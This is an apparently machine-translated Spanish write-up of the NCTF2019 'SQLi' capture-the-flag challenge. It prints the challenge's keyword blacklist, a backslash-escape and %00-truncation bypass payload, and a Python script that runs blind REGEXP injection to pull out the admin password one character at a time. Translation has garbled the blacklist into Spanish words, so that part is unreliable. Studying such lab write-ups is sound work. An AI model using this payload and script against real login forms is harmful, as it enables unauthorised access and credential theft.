[NCTF2019] SQLi

Puntos de conocimiento

  • % 00 truncado
  • inyección de expresiones regulares

WP

Mañana probaré la base de datos. Ya no recuerdo el concepto. Haré una inyección SQL para relajarme.

Primero ingrese al entorno y solicite que intente hacer que sqlquery tenga sus propios resultados.
Vea la declaración como esta:

select * from users where username='' and passwd=''

Se supone que se han filtrado muchas cosas. Después de la recopilación de información, se descubre que existe un archivo robots.txt y que hint.txt está escrito en él. El contenido es el siguiente:

$ black_list = “/ limit | by | substr | mid |, | admin | benchmark | like | or | char | union | substring | select | most |% 00 | '| = | | en | <|> | - |. | () | # | y | si | base de datos | usuarios | donde | tabla | concat | insertar | unirse | teniendo | dormir / i ”;

Si $ _POST ['passwd'] === contraseña de administrador,

Entonces obtendrás la bandera;

Descubrí que se filtran muchas cosas y necesitamos pasar la contraseña correcta para obtener la bandera.

En primer lugar, se encuentra que las barras invertidas no se filtran, por lo que las comillas simples se pueden escapar. Pero el problema es que después de filtrar # - 'estas tres cosas, no podemos eliminar las comillas simples adicionales al final.

Revisé y descubrí que se puede truncar en 00. Eche un vistazo al entorno del sujeto: de
Inserte la descripción de la imagen aquí
hecho, hay una versión php con truncamiento 00, así que use truncamiento 00:

username=\&passwd=||(1);%00

Luego, busque la manera de inyectarlo. Debido a que el Me gusta está filtrado, puede usar REGEXP para inyectar. El script es el siguiente:

import requests
import string
from urllib.parse import unquote
url='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'

strs = string.ascii_letters+string.digits+"_"
result=''
payload="||(passwd/**/regexp**/0x{});"
#payload="||(username/**/regexp/**/0x{});"
while 1:
    for j in strs:
        p1="^"+result+j
        p2=bytes(p1,'UTF-8')
        pp=p2.hex()
        ppp=payload.format(pp)
        zero=unquote("%00", 'utf-8')
        ppp+=zero
        data={
    
    
            "username":"\\",
            "passwd":ppp
        }
        #print(data)
        r=requests.post(url=url,data=data).text
        #print(r)
        #break
        if "welcome" in r:
            result+=j
            print(result)
            break
    #print(data)

Puede resultar que haya letras mayúsculas y minúsculas, simplemente conviértalas a minúsculas. Luego ingrese la contraseña para obtener la bandera.

Después de escribir, miré WP y descubrí que debido a que no hay un filtro para las comillas dobles, se puede omitir sin hexadecimal, solo use comillas dobles.

Supongo que te gusta

Origin blog.csdn.net/rfrder/article/details/112000465
Recomendado
Clasificación